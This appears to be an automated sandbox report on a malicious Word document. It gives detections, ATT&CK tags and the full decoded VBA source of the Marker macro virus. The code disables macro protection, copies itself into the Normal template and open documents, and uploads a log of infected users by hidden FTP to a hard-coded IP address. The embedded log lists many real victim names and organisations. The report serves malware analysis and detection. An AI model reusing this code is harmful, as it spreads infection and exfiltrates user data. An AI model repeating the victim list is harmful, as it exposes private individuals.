MALICIOUS
260
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1553.005 Security Software Installation
T1105 Ingress Tool Transfer
The sample is a malicious Office document containing VBA macros. The macros attempt to disable macro security settings and write malicious code to disk, including a file named 'c:\netldx.vxd' which contains connection details to '209.201.88.110'. This indicates an attempt to download and execute a second-stage payload.
Heuristics 4
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ClamAV: Doc.Trojan.Marker-31 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Marker-31
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VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
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Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
Shell "command.com /c ftp.exe -n -s:c:\netldx.vxd", vbHide -
VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATIONVBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.Matched line in script
Options.VirusProtection = False
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 10711 bytes |
SHA-256: d3b1157b39a7261e6d542ebb86ef538855d70c88bf8cbafcabc36e0204abe75e |
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Detection
ClamAV:
Doc.Trojan.Marker-1
Obfuscation or payload:
unlikely
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()
On Error Resume Next
Const Marker = "<- this is a marker!"
'Declare Variables
Dim SaveDocument, SaveNormalTemplate, DocumentInfected, NormalTemplateInfected As Boolean
Dim ad, nt As Object
Dim OurCode, UserAddress, LogData, LogFile As String
'Initialize Variables
Set ad = ActiveDocument.VBProject.VBComponents.Item(1)
Set nt = NormalTemplate.VBProject.VBComponents.Item(1)
DocumentInfected = ad.CodeModule.Find(Marker, 1, 1, 10000, 10000)
NormalTemplateInfected = nt.CodeModule.Find(Marker, 1, 1, 10000, 10000)
'Switch the VirusProtection OFF
Options.VirusProtection = False
If (Day(Now()) = 1) And (System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogFile") = False) Then
If DocumentInfected = True Then
LogData = ad.CodeModule.Lines(1, ad.CodeModule.CountOfLines)
ElseIf NormalTemplateInfected = True Then
LogData = nt.CodeModule.Lines(1, nt.CodeModule.CountOfLines)
End If
LogData = Mid(LogData, InStr(1, LogData, "' Log" & "file -->"), Len(LogData) - InStr(1, LogData, "' Log" & "file -->"))
For i = 1 To 4
LogFile = LogFile + Mid(Str(Int(8 * Rnd)), 2, 1)
Next i
LogFile = "C:\hsf" & LogFile & ".sys"
Open LogFile For Output As #1
Print #1, LogData
Close #1
Open "c:\netldx.vxd" For Output As #1
Print #1, "o 209.201.88.110"
Print #1, "user anonymous"
Print #1, "pass itsme@"
Print #1, "cd incoming"
Print #1, "ascii"
Print #1, "put " & LogFile
Print #1, "quit"
Close #1
Shell "command.com /c ftp.exe -n -s:c:\netldx.vxd", vbHide
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogFile") = True
End If
'Make sure that some conditions are true before we continue infecting anything
If (DocumentInfected = True Xor NormalTemplateInfected = True) And _
(ActiveDocument.SaveFormat = wdFormatDocument Or _
ActiveDocument.SaveFormat = wdFormatTemplate) Then
'Infect the NormalTemplate
If DocumentInfected = True Then
SaveNormalTemplate = NormalTemplate.Saved
OurCode = ad.CodeModule.Lines(1, ad.CodeModule.CountOfLines)
'Write a log file of this NormalTemplate infection
For i = 1 To Len(Application.UserAddress)
If Mid(Application.UserAddress, i, 1) <> Chr(13) Then
If Mid(Application.UserAddress, i, 1) <> Chr(10) Then
UserAddress = UserAddress & Mid(Application.UserAddress, i, 1)
End If
Else
UserAddress = UserAddress & Chr(13) & "' "
End If
Next i
OurCode = OurCode & Chr(13) & _
"' " & Format(Time, "hh:mm:ss AMPM - ") & _
Format(Date, "dddd, d mmm yyyy") & Chr(13) & _
"' " & Application.UserName & Chr(13) & _
"' " & UserAddress & Chr(13)
nt.CodeModule.DeleteLines 1, nt.CodeModule.CountOfLines
nt.CodeModule.AddFromString OurCode
If SaveNormalTemplate = True Then NormalTemplate.Save
End If
'Infect the ActiveDocument
If NormalTemplateInfected = True And _
(Mid(ActiveDocument.FullName, 2, 1) = ":" Or _
ActiveDocument.Saved = False) Then
SaveDocument = ActiveDocument.Saved
OurCode = nt.CodeModule.Lines(1, nt.CodeModule.CountOfLines)
ad.CodeModule.DeleteLines 1, ad.CodeModule.CountOfLines
ad.CodeModule.AddFromString OurCode
If SaveDocument = True Then ActiveDocument.Save
End If
End If
End Sub
' Logfile -->
' 09:08:36 - Saturday, 28 Nov 1998
' SPo0Ky
' Blue Planet
'
' 02:50:31 PM - Saturday, 28 Nov 1998
' MARK B. SEAY
'
' 08:04:45 AM - Friday, 4 Dec 1998
' UPS
'
' 11:43:35 AM - Thursday, 17 Dec 1998
' WRO
'
' 03:07:26 PM - Tuesday, 22 Dec 1998
' BCBSA
'
' 03:28:02 PM - Wednesday, 6 Jan 1999
' BCBSA
'
' 02:59:47 PM - Monday, 11 Jan 1999
' Marsha Veach
'
' 01:54:54 PM - Wednesday, 20 Jan 1999
' Connie Sandifer, CMP
'
' 09:33:06 PM - Monday, 25 Jan 1999
' Doug Rowan
'
' 08:21:12 AM - Wednesday, 27 Jan 1999
' IMSI
'
' 10:59:58 AM - Friday, 29 Jan 1999
' Raj
'
' 03:37:57 PM - Saturday, 30 Jan 1999
' hornd
'
' 01:26:48 PM - Tuesday, 2 Feb 1999
' Cooley Godward
'
' 04:57:29 PM - Tuesday, 2 Feb 1999
' Cooley Godward
'
' 06:35:44 PM - Tuesday, 2 Feb 1999
' Cooley Godward
'
' 04:23:52 PM - Thursday, 4 Feb 1999
' Cooley Godward
'
' 04:27:39 PM - Saturday, 6 Feb 1999
' Cooley Godward
'
' 06:18:06 PM - Monday, 8 Feb 1999
' Cooley Godward
'
' 09:17:17 PM - Tuesday, 9 Feb 1999
' hclee
'
' 04:44:45 PM - Wednesday, 17 Feb 1999
' Dr. W. Hsiao
' Wendy Hsiao, Ph.D.
' 04:13:19 PM - Tuesday, 23 Feb 1999
' CCST
'
' 10:09:35 AM - Saturday, 20 Mar 1999
' cpwu
'
' 09:33:49 AM - Thursday, 6 May 1999
' 柳建华
'
' 12:39:25 PM - Tuesday, 20 May 1997
' ghc-bbc
'
' 01:21:36 PM - Friday, 7 May 1999
' 李晋闽
'
' 05:51:53 - Wednesday, 12 May 1999
' qdzhuang
'
' 03:23:04 PM - Saturday, 19 Jun 1999
' 李晋闽
'
' 02:53:46 下午 - Tuesday, 6 Sep 2011
' 李晋闽
'
' 09:37:47 上午 - Monday, 19 Sep 2011
' 张士力
'
' 01:41:54 下午 - Monday, 26 Sep 2011
' unknown
'
' 10:50:02 上午 - Wednesday, 19 Oct 2011
' 祝昊泉
'
' 08:27:05 上午 - Wednesday, 26 Oct 2011
' 迟文倩
'
' 10:37:36 上午 - Monday, 31 Oct 2011
' 蒋运枫
'
' 04:21:38 下午 - Monday, 31 Oct 2011
' 李彩梅
'
' 08:15:53 上午 - Wednesday, 2 Nov 2011
' 张会芳
'
' 03:51:55 下午 - Friday, 4 Nov 2011
' 刘冬红
'
' 11:58:54 上午 - Friday, 11 Nov 2011
' 陈平平
'
' 05:13:35 下午 - Friday, 11 Nov 2011
' 尚纳新
'
' 03:14:00 下午 - Monday, 14 Nov 2011
' 闵天龙
'
' 06:26:57 下午 - Thursday, 15 Dec 2011
' 何满
'
' 06:01:01 下午 - Monday, 26 Dec 2011
' 何满
'
' 02:45:57 下午 - Thursday, 29 Dec 2011
' 何满
'
' 09:36:45 上午 - Friday, 30 Dec 2011
' 王燕飞
'
' 11:40:46 上午 - Friday, 6 Jan 2012
' 12345
'
' 04:24:59 下午 - Friday, 17 Feb 2012
' 微软用户
'
' 11:28:11 上午 - Wednesday, 22 Feb 2012
' yxx
'
' 01:15:33 下午 - Thursday, 1 Mar 2012
' wang
'
' 11:14:11 上午 - Wednesday, 14 Mar 2012
' 张宇(通号处)
'
' 12:36:16 下午 - Thursday, 22 Mar 2012
' 张孟彬
'
' 05:08:55 下午 - Wednesday, 28 Mar 2012
' 黄鹰
'
' 08:25:27 上午 - Tuesday, 10 Apr 2012
' 孙建明
'
' 05:04:49 下午 - Thursday, 12 Apr 2012
' 汪自成
'
' 02:27:24 下午 - Friday, 13 Apr 2012
' MC SYSTEM
'
' 01:36:46 下午 - Tuesday, 17 Apr 2012
' Lenovo User
'
' 10:44:02 上午 - Friday, 20 Apr 2012
' Lenovo User
'
' 09:43:44 上午 - Monday, 23 Apr 2012
' Lenovo User
'
' 03:02:47 下午 - Monday, 23 Apr 2012
' 马龙
'
' 09:25:58 上午 - Friday, 27 Apr 2012
' Lenovo User
'
' 10:04:54 上午 - Wednesday, 2 May 2012
' Lenovo User
'
' 04:27:42 下午 - Friday, 18 May 2012
' 未定义
'
' 08:52:00 上午 - Wednesday, 23 May 2012
' 未定义
'
' 09:11:27 上午 - Tuesday, 29 May 2012
' hxl
'
' 02:34:00 下午 - Tuesday, 5 Jun 2012
' 未定义
'
' 08:40:54 上午 - Wednesday, 6 Jun 2012
' 未定义
'
' 04:34:15 下午 - Monday, 18 Jun 2012
' 未定义
'
' 08:53:25 上午 - Monday, 16 Jul 2012
' cgb
'
' 05:23:17 下午 - Friday, 21 Sep 2012
' 未定义
'
' 06:27:57 下午 - Monday, 3 Dec 2012
' 雨林木风
'
' 11:30:41 上午 - Tuesday, 15 Jan 2013
' 兰州铁路局
'
' 08:58:27 上午 - Wednesday, 16 Jan 2013
' Administrator
'
' 11:39:34 上午 - Wednesday, 16 Jan 2013
' 王刚
'
' 08:54:59 上午 - Wednesday, 23 Jan 2013
' 张莉
'
' 10:44:42 上午 - Tuesday, 7 May 2013
' 兰州铁路局
'
' 03:48:48 下午 - Thursday, 4 Jul 2013
' 兰州铁路局
'
' 11:00:42 上午 - Saturday, 6 Jul 2013
' 兰州铁路局
'
' 10:00:25 上午 - Monday, 15 Jul 2013
' 兰州铁路局
'
' 08:42:31 上午 - Wednesday, 17 Jul 2013
' 司学翔
'
' 02:23:20 下午 - Saturday, 20 Jul 2013
' 司学翔
'
' 08:00:55 上午 - Monday, 22 Jul 2013
' 司学翔
'
' 10:46:40 上午 - Friday, 9 Aug 2013
' 司学翔
'
' 07:44:50 下午 - Friday, 9 Aug 2013
' 司学翔
'
' 11:37:01 上午 - Monday, 26 Aug 2013
' 兰州铁路局
'
' 08:19:37 上午 - Wednesday, 9 Oct 2013
' 兰州铁路局
'
' 05:50:05 下午 - Wednesday, 30 Oct 2013
' 兰州铁路局
'
' 10:35:44 上午 - Monday, 16 Dec 2013
' MC SYSTEM
'
' 05:16:23 下午 - Monday, 16 Dec 2013
' MC SYSTEM
'
' 08:49:32 上午 - Thursday, 23 Jan 2014
' 兰州铁路局
'
' 09:09:59 上午 - Monday, 27 Jan 2014
' 兰州铁路局
'
' 03:02:49 下午 - Friday, 14 Feb 2014
' 兰州铁路局
'
' 09:17:57 上午 - Thursday, 27 Feb 2014
' 兰州铁路局
'
' 03:06:35 下午 - Thursday, 6 Mar 2014
' 兰州铁路局
'
' 10:06:59 上午 - Thursday, 27 Mar 2014
' 兰州铁路局
'
' 04:05:17 上午 - Sunday, 6 Apr 2014
' 兰州铁路局
'
' 01:27:40 下午 - Friday, 2 May 2014
' 兰州铁路局
'
' 08:59:56 上午 - Saturday, 3 May 2014
' 银川车站马佳岭
'
' 04:30:17 下午 - Tuesday, 1 Jul 2014
' 兰州铁路局
'
' 04:26:53 下午 - Monday, 25 Aug 2014
' 兰州铁路局
'
' 10:32:07 上午 - Wednesday, 10 Sep 2014
' 兰州铁路局
'
' 09:12:44 下午 - Thursday, 16 Jan 2014
' 兰州铁路局
'
' 08:23:51 上午 - Wednesday, 22 Jan 2014
' 兰州铁路局
'
' 09:36:41 上午 - Monday, 3 Mar 2014
' 兰州铁路局
'
' 09:55:51 下午 - Monday, 24 Mar 2014
' 兰州铁路局
'
' 08:27:56 上午 - Wednesday, 25 Mar 2015
' 兰州铁路局
'
' 09:45:14 上午 - Wednesday, 8 Apr 2015
' 兰州铁路局
'
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